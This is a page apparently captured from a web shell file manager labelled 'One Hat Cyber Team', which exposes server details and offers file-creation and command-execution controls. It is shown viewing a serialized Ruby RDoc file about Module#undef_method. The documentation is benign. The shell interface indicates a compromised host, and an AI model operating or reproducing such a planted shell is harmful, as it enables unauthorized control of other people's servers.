⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.116
Server IP:
78.40.11.138
Server:
Linux tango.o2switch.net 4.18.0-553.30.1.lve.el8.x86_64 #1 SMP Tue Dec 3 01:21:19 UTC 2024 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
opt
/
alt
/
ruby19
/
share
/
ri
/
1.9.1
/
system
/
Module
/
View File Name :
undef_method-i.ri
U:RDoc::AnyMethod[iI"undef_method:ETI"Module#undef_method;FF:privateo:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [ I"EPrevents the current class from responding to calls to the named;TI"Imethod. Contrast this with <code>remove_method</code>, which deletes;TI"Athe method from the particular class; Ruby will still search;TI"?superclasses and mixed-in modules for a possible receiver.;To:RDoc::Markup::BlankLine o:RDoc::Markup::Verbatim; [I"class Parent ;FI" def hello ;FI" puts "In parent" ;FI" end ;FI" end ;FI"class Child < Parent ;FI" def hello ;FI" puts "In child" ;FI" end ;FI" end ;FI" ;FI"c = Child.new ;FI" c.hello ;FI" ;FI"class Child ;FI"B remove_method :hello # remove from child, still in parent ;FI" end ;FI" c.hello ;FI" ;FI"class Child ;FI"< undef_method :hello # prevent any calls to 'hello' ;FI" end ;FI" c.hello ;Fo; ; [I"<em>produces:</em>;T@o;; [I"In child ;FI"In parent ;FI"Qprog.rb:23: undefined method `hello' for #<Child:0x401b3bb4> (NoMethodError);F: @file0I"&undef_method(symbol) -> self ;T0[ I"(*args);FI"vm_method.c;T